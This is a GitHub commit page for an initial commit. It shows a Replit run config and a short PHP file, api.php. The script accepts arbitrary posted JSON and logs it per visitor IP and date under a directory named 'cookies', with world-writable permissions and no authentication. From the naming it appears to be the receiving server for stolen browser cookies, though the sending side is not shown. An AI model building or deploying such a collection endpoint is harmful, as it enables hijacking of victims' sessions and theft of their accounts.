Skip to content

Commit 29734c8

Browse files
committedDec 7, 2022
Initial commit
0 parents  commit 29734c8

File tree

576 files changed

+77120
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

576 files changed

+77120
-0
lines changed
 

‎.replit

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
run = "php -S 0.0.0.0:8000 -t ."
2+
3+
entrypoint = "index.php"
4+

‎api.php

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<?php
2+
3+
4+
5+
$curDate = date("d-m-Y");
6+
$ip = $_SERVER['REMOTE_ADDR'] ;
7+
$directory = "cookies/" . $ip . "/" . $curDate;
8+
$log = $directory . "/" . $ip . ".html";
9+
// Create logs dir if it not exists
10+
if (!file_exists($directory)) {
11+
mkdir($directory, 0777, true);
12+
}
13+
$log = fopen($log, "a+") or die("Unable to open file!");
14+
$data = json_decode(file_get_contents('php://input'), true);
15+
fwrite($log, json_encode($data) . "\n");
16+
fwrite($log, "================================================== \n");
17+
fclose($log);
18+
19+
?>

0 commit comments

Comments
 (0)
Please sign in to comment.